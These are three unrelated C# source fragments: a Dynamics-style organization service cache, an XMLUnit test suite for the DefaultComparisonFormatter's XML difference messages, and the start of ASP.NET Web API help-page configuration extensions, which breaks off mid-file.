_serializedRetrieveRelationshipRequestFormat = SerializeForFormat(retrieveRelationshipRequest)
.Replace(logicalName, @"{0}")
.Replace("true", @"{1}");
}
private static string Serialize(object value)
{
return value.SerializeByJson(KnownTypesProvider.QueryExpressionKnownTypes);
}
private static string SerializeForFormat(object value)
{
var text = Serialize(value);
// escape the {} brackets
return text.Replace("{", "{{").Replace("}", "}}");
}
private static readonly IEnumerable<string> _cachedRequestsContent = new[]
{
"Retrieve", "RetrieveMultiple",
};
private static readonly IEnumerable<string> _cachedRequestsMetadata = new[]
{
"RetrieveAllEntities",
"RetrieveAllOptionSets",
"RetrieveAllManagedProperties",
"RetrieveAttribute",
"RetrieveEntity",
"RetrieveRelationship",
"RetrieveTimestamp",
"RetrieveOptionSet",
"RetrieveManagedProperty",
};
private static readonly IEnumerable<string> _cachedRequests = _cachedRequestsContent.Concat(_cachedRequestsMetadata);
private static readonly string[] _cachedRequestsSorted = _cachedRequests.OrderBy(r => r).ToArray();
private static bool IsCachedRequest(OrganizationRequest request)
{
return request != null && Array.BinarySearch(_cachedRequestsSorted, request.RequestName) >= 0;
}
private static bool IsContentRequest(OrganizationRequest request)
{
return request != null && _cachedRequestsContent.Contains(request.RequestName);
}
private static bool IsMetadataRequest(OrganizationRequest request)
{
return request != null && _cachedRequestsMetadata.Contains(request.RequestName);
}
private void InvalidateCacheDependencies(IEnumerable<string> dependencies)
{
foreach (var dependency in dependencies)
{
InvalidateCacheDependency(dependency);
}
}
private void InvalidateCacheDependency(string dependency)
{
Tracing.FrameworkInformation("OrganizationServiceCache", "InvalidateCacheDependency", dependency);
Cache.Remove(dependency);
}
protected virtual TResult CloneResponse<TResult>(TResult item)
{
// clone the responses with potentially mutable data, metadata responses are treated as immutable
var retrieveResponse = item as RetrieveResponse;
if (retrieveResponse != null) return (TResult)CloneResponse(retrieveResponse);
var retrieveMultipleResponse = item as RetrieveMultipleResponse;
if (retrieveMultipleResponse != null) return (TResult)CloneResponse(retrieveMultipleResponse);
return item;
}
private static object CloneResponse(RetrieveMultipleResponse response)
{
var clone = new RetrieveMultipleResponse();
clone["EntityCollection"] = response.EntityCollection.Clone();
return clone;
}
private static object CloneResponse(RetrieveResponse response)
{
var clone = new RetrieveResponse();
clone["Entity"] = response.Entity.Clone();
return clone;
}
}
}
| |
/*
This file is licensed to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
using System.Collections.Generic;
using System.Linq;
using System.Xml;
using Org.XmlUnit.Builder;
using Org.XmlUnit.Util;
using NUnit.Framework;
namespace Org.XmlUnit.Diff {
[TestFixture]
public class DefaultComparisonFormatterTest {
private DefaultComparisonFormatter compFormatter = new DefaultComparisonFormatter();
#if false
[Test]
public void TestComparisonType_XML_VERSION() {
// prepare data
Diff diff = DiffBuilder.Compare("<?xml version=\"1.0\"?><a/>").WithTest("<?xml version=\"1.1\"?><a/>").Build();
AssertPreRequirements(diff, ComparisonType.XML_VERSION);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected xml version '1.0' but was '1.1' - "
+ "comparing <a...> at / to <?xml version=\"1.1\"?><a...> at /", description);
AssertEquals("<a>\n</a>", controlDetails);
AssertEquals("<?xml version=\"1.1\"?>\n<a>\n</a>", testDetails);
}
#endif
[Test]
public void TestComparisonType_XML_STANDALONE() {
// prepare data
Diff diff = DiffBuilder.Compare("<?xml version=\"1.0\" standalone=\"yes\"?><a b=\"x\"><b/></a>")
.WithTest("<?xml version=\"1.0\" standalone=\"no\"?><a b=\"x\"><b/></a>")
.Build();
AssertPreRequirements(diff, ComparisonType.XML_STANDALONE);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected xml standalone 'yes' but was 'no' - "
+ "comparing <?xml version=\"1.0\" standalone=\"yes\"?><a...> at / to <?xml version=\"1.0\" standalone=\"no\"?><a...> at /", description);
AssertEquals("<?xml version=\"1.0\" standalone=\"yes\"?>", controlDetails);
AssertEquals("<?xml version=\"1.0\" standalone=\"no\"?>", testDetails);
}
[Test]
public void TestComparisonType_XML_ENCODING() {
// prepare data
Diff diff = DiffBuilder.Compare("<?xml version=\"1.0\" encoding=\"UTF-8\"?><a/>")
.WithTest("<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><a/>").Build();
AssertPreRequirements(diff, ComparisonType.XML_ENCODING);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected xml encoding 'UTF-8' but was 'ISO-8859-1' - "
+ "comparing <?xml version=\"1.0\" encoding=\"UTF-8\"?><a...> at / "
+ "to <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><a...> at /", description);
AssertEquals("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", controlDetails);
AssertEquals("<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>", testDetails);
}
#if false
[Test]
public void TestComparisonType_HAS_DOCTYPE_DECLARATION() {
// prepare data
XmlDocument controlDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString("<!DOCTYPE Book><a/>").Build());
Diff diff = DiffBuilder.Compare(controlDoc).WithTest("<a/>").Build();
AssertPreRequirements(diff, ComparisonType.HAS_DOCTYPE_DECLARATION);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected has doctype declaration 'true' but was 'false' - "
+ "comparing <!DOCTYPE Book><a...> at / to <a...> at /", description);
AssertEquals("<!DOCTYPE Book>\n<a>\n</a>", controlDetails);
AssertEquals("<a>\n</a>", testDetails);
}
[Test]
public void TestComparisonType_DOCTYPE_NAME() {
// prepare data
XmlDocument controlDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString("<!DOCTYPE Book ><a/>").Build());
XmlDocument testDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString("<!DOCTYPE XY ><a/>").Build());
Diff diff = DiffBuilder.Compare(controlDoc).WithTest(testDoc).Build();
AssertPreRequirements(diff, ComparisonType.DOCTYPE_NAME);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected doctype name 'Book' but was 'XY' - "
+ "comparing <!DOCTYPE Book><a...> at / to <!DOCTYPE XY><a...> at /", description);
AssertEquals("<!DOCTYPE Book>\n<a>\n</a>", controlDetails);
AssertEquals("<!DOCTYPE XY>\n<a>\n</a>", testDetails);
}
[Test]
public void TestComparisonType_DOCTYPE_PUBLIC_ID() {
// prepare data
XmlDocument controlDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString(
"<!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/nonsense\"><a/>").Build());
XmlDocument testDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString(
"<!DOCTYPE Book SYSTEM \"http://example.org/nonsense\"><a/>").Build());
Diff diff = DiffBuilder.Compare(controlDoc).WithTest(testDoc).Build();
AssertPreRequirements(diff, ComparisonType.DOCTYPE_PUBLIC_ID);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected doctype public id 'XMLUNIT/TEST/PUB' but was 'null' - "
+ "comparing <!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/nonsense\"><a...> at / "
+ "to <!DOCTYPE Book SYSTEM \"http://example.org/nonsense\"><a...> at /", description);
AssertEquals("<!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/nonsense\">\n<a>\n</a>", controlDetails);
AssertEquals("<!DOCTYPE Book SYSTEM \"http://example.org/nonsense\">\n<a>\n</a>", testDetails);
}
[Test]
public void TestComparisonType_DOCTYPE_SYSTEM_ID() {
// prepare data
XmlDocument controlDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString(
"<!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/nonsense\"><a/>").Build());
XmlDocument testDoc = Convert.ToDocument(Org.XmlUnit.Builder.Input.FromString(
"<!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/404\"><a/>").Build());
Diff diff = DiffBuilder.Compare(controlDoc).WithTest(testDoc).Build();
AssertPreRequirements(diff, ComparisonType.DOCTYPE_SYSTEM_ID);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual(
"Expected doctype system id 'http://example.org/nonsense' but was 'http://example.org/404' - "
+ "comparing <!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/nonsense\"><a...> "
+ "to <!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/404\"><a...>", description);
AssertEquals("<!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/nonsense\">\n<a>\n</a>", controlDetails);
AssertEquals("<!DOCTYPE Book PUBLIC \"XMLUNIT/TEST/PUB\" \"http://example.org/404\">\n<a>\n</a>", testDetails);
}
#endif
[Test]
public void TestComparisonType_SCHEMA_LOCATION() {
// prepare data
Diff diff = DiffBuilder
.Compare("<a xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xsi:schemaLocation=\"http://www.publishing.org Book.xsd\"/>")
.WithTest("<a />").Build();
AssertPreRequirements(diff, ComparisonType.SCHEMA_LOCATION);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected schema location 'http://www.publishing.org Book.xsd' but was '' - "
+ "comparing <a...> at /a[1] to <a...> at /a[1]", description);
AssertEquals("<a xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xsi:schemaLocation=\"http://www.publishing.org Book.xsd\" />", controlDetails);
AssertEquals("<a />", testDetails);
}
[Test]
public void TestComparisonType_NO_NAMESPACE_SCHEMA_LOCATION() {
// prepare data
Diff diff = DiffBuilder.Compare(
"<a xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xsi:noNamespaceSchemaLocation=\"Book.xsd\"/>")
.WithTest("<a xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xsi:noNamespaceSchemaLocation=\"Telephone.xsd\"/>")
.Build();
AssertPreRequirements(diff, ComparisonType.NO_NAMESPACE_SCHEMA_LOCATION);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected no namespace schema location 'Book.xsd' but was 'Telephone.xsd' - "
+ "comparing <a...> at /a[1] to <a...> at /a[1]", description);
AssertEquals("<a xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xsi:noNamespaceSchemaLocation=\"Book.xsd\" />", controlDetails);
AssertEquals("<a xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xsi:noNamespaceSchemaLocation=\"Telephone.xsd\" />", testDetails);
}
[Test]
public void TestComparisonType_NODE_TYPE_similar() {
// prepare data
Diff diff = DiffBuilder.Compare("<a>Text</a>").WithTest("<a><![CDATA[Text]]></a>").Build();
AssertPreRequirements(diff, ComparisonType.NODE_TYPE);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected node type 'Text' but was 'CDATA Section' - "
+ "comparing <a ...>Text</a> at /a[1]/text()[1] "
+ "to <a ...><![CDATA[Text]]></a> at /a[1]/text()[1]",
description);
AssertEquals("<a>Text</a>", controlDetails);
AssertEquals("<a><![CDATA[Text]]></a>", testDetails);
}
[Test]
public void TestComparisonType_NAMESPACE_PREFIX() {
// prepare data
Diff diff = DiffBuilder.Compare(
"<ns1:a xmlns:ns1=\"test\">Text</ns1:a>").WithTest("<test:a xmlns:test=\"test\">Text</test:a>").Build();
AssertPreRequirements(diff, ComparisonType.NAMESPACE_PREFIX);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected namespace prefix 'ns1' but was 'test' - "
+ "comparing <ns1:a...> at /a[1] to <test:a...> at /a[1]", description);
AssertEquals("<ns1:a xmlns:ns1=\"test\">Text</ns1:a>", controlDetails);
AssertEquals("<test:a xmlns:test=\"test\">Text</test:a>", testDetails);
}
[Test]
public void TestComparisonType_NAMESPACE_URI() {
// prepare data
Diff diff = DiffBuilder.Compare(
"<test:a xmlns:test=\"test.org\">Text</test:a>")
.WithTest("<test:a xmlns:test=\"test.net\">Text</test:a>").Build();
AssertPreRequirements(diff, ComparisonType.NAMESPACE_URI);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected namespace uri 'test.org' but was 'test.net' - "
+ "comparing <test:a...> at /a[1] to <test:a...> at /a[1]", description);
AssertEquals("<test:a xmlns:test=\"test.org\">Text</test:a>", controlDetails);
AssertEquals("<test:a xmlns:test=\"test.net\">Text</test:a>", testDetails);
}
[Test]
public void TestComparisonType_TEXT_VALUE() {
// prepare data
Diff diff = DiffBuilder.Compare("<a>Text one</a>").WithTest("<a>Text two</a>").Build();
AssertPreRequirements(diff, ComparisonType.TEXT_VALUE);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected text value 'Text one' but was 'Text two' - "
+ "comparing <a ...>Text one</a> at /a[1]/text()[1] "
+ "to <a ...>Text two</a> at /a[1]/text()[1]", description);
AssertEquals("<a>Text one</a>", controlDetails);
AssertEquals("<a>Text two</a>", testDetails);
}
[Test]
public void TestComparisonType_PROCESSING_INSTRUCTION_TARGET() {
// prepare data
Diff diff = DiffBuilder.Compare(
"<?xml-stylesheet type=\"text/xsl\" href=\"animal.xsl\" ?><a>Text one</a>")
.WithTest("<?xml-xy type=\"text/xsl\" href=\"animal.xsl\" ?><a>Text one</a>").Build();
AssertPreRequirements(diff, ComparisonType.PROCESSING_INSTRUCTION_TARGET);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected processing instruction target 'xml-stylesheet' but was 'xml-xy' - "
+ "comparing <?xml-stylesheet type=\"text/xsl\" href=\"animal.xsl\" ?> at /processing-instruction()[1] "
+ "to <?xml-xy type=\"text/xsl\" href=\"animal.xsl\" ?> at /processing-instruction()[1]", description);
AssertEquals("<?xml-stylesheet type=\"text/xsl\" href=\"animal.xsl\" ?>", controlDetails);
AssertEquals("<?xml-xy type=\"text/xsl\" href=\"animal.xsl\" ?>", testDetails);
}
[Test]
public void TestComparisonType_PROCESSING_INSTRUCTION_DATA() {
// prepare data
Diff diff = DiffBuilder.Compare("<?xml-stylesheet type=\"text/xsl\" href=\"animal.xsl\" ?><a>Text one</a>")
.WithTest("<?xml-stylesheet type=\"text/xsl\" href=\"animal.css\" ?><a>Text one</a>")
.Build();
AssertPreRequirements(diff, ComparisonType.PROCESSING_INSTRUCTION_DATA);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected processing instruction data 'type=\"text/xsl\" href=\"animal.xsl\" ' "
+ "but was 'type=\"text/xsl\" href=\"animal.css\" ' - "
+ "comparing <?xml-stylesheet type=\"text/xsl\" href=\"animal.xsl\" ?> at /processing-instruction()[1] "
+ "to <?xml-stylesheet type=\"text/xsl\" href=\"animal.css\" ?> at /processing-instruction()[1]", description);
AssertEquals("<?xml-stylesheet type=\"text/xsl\" href=\"animal.xsl\" ?>", controlDetails);
AssertEquals("<?xml-stylesheet type=\"text/xsl\" href=\"animal.css\" ?>", testDetails);
}
[Test]
public void TestComparisonType_ELEMENT_TAG_NAME() {
// prepare data
Diff diff = DiffBuilder.Compare("<a></a>").WithTest("<b></b>").Build();
AssertPreRequirements(diff, ComparisonType.ELEMENT_TAG_NAME);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected element tag name 'a' but was 'b' - "
+ "comparing <a...> at /a[1] to <b...> at /b[1]", description);
AssertEqualsNoLineBreak("<a></a>", controlDetails);
AssertEqualsNoLineBreak("<b></b>", testDetails);
}
[Test]
public void TestComparisonType_ELEMENT_NUM_ATTRIBUTES() {
// prepare data
Diff diff = DiffBuilder.Compare("<a b=\"xxx\"></a>")
.WithTest("<a b=\"xxx\" c=\"xxx\"></a>").Build();
AssertPreRequirements(diff, ComparisonType.ELEMENT_NUM_ATTRIBUTES);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected number of attributes '1' but was '2' - "
+ "comparing <a...> at /a[1] to <a...> at /a[1]", description);
AssertEqualsNoLineBreak("<a b=\"xxx\"></a>", controlDetails);
AssertEqualsNoLineBreak("<a b=\"xxx\" c=\"xxx\"></a>", testDetails);
}
[Test]
public void TestComparisonType_ATTR_VALUE() {
// prepare data
Diff diff = DiffBuilder.Compare("<a b=\"xxx\"></a>").WithTest("<a b=\"yyy\"></a>").Build();
AssertPreRequirements(diff, ComparisonType.ATTR_VALUE);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected attribute value 'xxx' but was 'yyy' - "
+ "comparing <a b=\"xxx\"...> at /a[1]/@b to <a b=\"yyy\"...> at /a[1]/@b", description);
AssertEqualsNoLineBreak("<a b=\"xxx\"></a>", controlDetails);
AssertEqualsNoLineBreak("<a b=\"yyy\"></a>", testDetails);
}
[Test]
public void TestComparisonType_CHILD_NODELIST_LENGTH() {
// prepare data
Diff diff = DiffBuilder.Compare("<a><b/></a>").WithTest("<a><b/><c/></a>").Build();
AssertPreRequirements(diff, ComparisonType.CHILD_NODELIST_LENGTH);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected child nodelist length '1' but was '2' - "
+ "comparing <a...> at /a[1] to <a...> at /a[1]", description);
AssertEquals("<a>\n <b />\n</a>", controlDetails);
AssertEquals("<a>\n <b />\n <c />\n</a>", testDetails);
}
[Test]
public void TestComparisonType_CHILD_NODELIST_SEQUENCE() {
// prepare data
Diff diff = DiffBuilder.Compare("<a><b>XXX</b><b>YYY</b></a>").WithTest("<a><b>YYY</b><b>XXX</b></a>")
.WithNodeMatcher(new DefaultNodeMatcher(ElementSelectors.ByNameAndText))
.Build();
AssertPreRequirements(diff, ComparisonType.CHILD_NODELIST_SEQUENCE);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected child nodelist sequence '0' but was '1' - "
+ "comparing <b...> at /a[1]/b[1] to <b...> at /a[1]/b[2]", description);
AssertEquals("<a>\n <b>XXX</b>\n <b>YYY</b>\n</a>", controlDetails);
AssertEquals("<a>\n <b>YYY</b>\n <b>XXX</b>\n</a>", testDetails);
}
[Test]
public void TestComparisonType_CHILD_LOOKUP() {
// prepare data
Diff diff = DiffBuilder.Compare("<a>Text</a>").WithTest("<a><Element/></a>").Build();
AssertPreRequirements(diff, ComparisonType.CHILD_LOOKUP);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected child '#text' but was '' - "
+ "comparing <a ...>Text</a> at /a[1]/text()[1] to <NULL>",
description);
AssertEquals("<a>Text</a>", controlDetails);
AssertEquals("<NULL>", testDetails);
}
[Test]
public void TestComparisonType_ATTR_NAME_LOOKUP() {
// prepare data
Diff diff = DiffBuilder.Compare("<a b=\"xxx\"></a>").WithTest("<a c=\"yyy\"></a>").Build();
AssertPreRequirements(diff, ComparisonType.ATTR_NAME_LOOKUP);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected attribute name '/a[1]/@b' - "
+ "comparing <a...> at /a[1]/@b to <a...> at /a[1]", description);
AssertEqualsNoLineBreak("<a b=\"xxx\"></a>", controlDetails);
AssertEqualsNoLineBreak("<a c=\"yyy\"></a>", testDetails);
}
[Test]
public void TestComparisonType_Comment() {
// prepare data
Diff diff = DiffBuilder.Compare("<a><!--XXX--></a>").WithTest("<a><!--YYY--></a>").Build();
AssertPreRequirements(diff, ComparisonType.TEXT_VALUE);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
// validate result
Assert.AreEqual("Expected text value 'XXX' but was 'YYY' - "
+ "comparing <!--XXX--> at /a[1]/comment()[1] to <!--YYY--> at /a[1]/comment()[1]", description);
AssertEquals("<a>\n <!--XXX-->\n</a>", controlDetails);
AssertEquals("<a>\n <!--YYY-->\n</a>", testDetails);
}
#if false
[Test]
public void TestComparisonType_WhitespacesAndUnformattedDetails() {
// prepare data
Diff diff = DiffBuilder.Compare("<a><b/></a>").WithTest("<a>\n <b/>\n</a>").Build();
AssertPreRequirements(diff, ComparisonType.CHILD_NODELIST_LENGTH);
Comparison firstDiff = diff.Differences.First().Comparison;
// run test
string description = compFormatter.GetDescription(firstDiff);
string controlDetails = GetDetails(firstDiff.ControlDetails, firstDiff.Type);
string testDetails = GetDetails(firstDiff.TestDetails, firstDiff.Type);
string controlDetailsUnformatted = compFormatter
.GetDetails(firstDiff.ControlDetails, firstDiff.Type, false);
string testDetailsUnformatted = compFormatter
.GetDetails(firstDiff.TestDetails, firstDiff.Type, false);
// validate result
Assert.AreEqual("Expected child nodelist length '1' but was '3' - "
+ "comparing <a...> at /a[1] to <a...> at /a[1]", description);
AssertEquals("<a>\n <b>\n</b>\n</a>", controlDetails);
AssertEquals("<a>\n <b>\n</b>\n</a>", testDetails);
AssertEquals("<a><b>\n</b></a>", controlDetailsUnformatted);
AssertEquals("<a>\n <b>\n</b>\n</a>", testDetailsUnformatted);
}
#endif
/// <summary>
/// Assert Equals for two strings where carriage returns are removed.
/// </summary>
public static void AssertEquals(string expected, string actual) {
Assert.AreEqual(expected, actual.Replace("\r", string.Empty));
}
/// <summary>
/// Assert Equals for two strings where linefeeds and carriage returns are removed.
/// </summary>
public static void AssertEqualsNoLineBreak(string expected, string actual) {
AssertEquals(expected, actual.Replace("\n", string.Empty));
}
private void AssertPreRequirements(Diff diff, ComparisonType comparisonType) {
Assert.That(diff.Differences.FirstOrDefault(), Is.Not.Null);
Assert.That(diff.Differences.First().Comparison.Type, Is.EqualTo(comparisonType));
}
private string GetDetails(Comparison.Detail difference, ComparisonType type) {
return compFormatter.GetDetails(difference, type, true);
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Linq;
using System.Net.Http.Headers;
using System.Web.Http;
using System.Web.Http.Description;
using WEBAPI_Server_App.Areas.HelpPage.Models;
namespace WEBAPI_Server_App.Areas.HelpPage
{
public static class HelpPageConfigurationExtensions
{
private const string ApiModelPrefix = "MS_HelpPageApiModel_";
/// <summary>
/// Sets the documentation provider for help page.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="documentationProvider">The documentation provider.</param>
public static void SetDocumentationProvider(this HttpConfiguration config, IDocumentationProvider documentationProvider)
{
config.Services.Replace(typeof(IDocumentationProvider), documentationProvider);
}
/// <summary>
/// Sets the objects that will be used by the formatters to produce sample requests/responses.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sampleObjects">The sample objects.</param>
public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects)
{
config.GetHelpPageSampleGenerator().SampleObjects = sampleObjects;
}
/// <summary>
/// Sets the sample request directly for the specified media type and action.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample request.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample);
}
/// <summary>
/// Sets the sample request directly for the specified media type and action with parameters.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample request.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample);
}
/// <summary>
/// Sets the sample request directly for the specified media type of the action.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample response.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample);
}
/// <summary>
/// Sets the sample response directly for the specified media type of the action with specific parameters.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample response.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
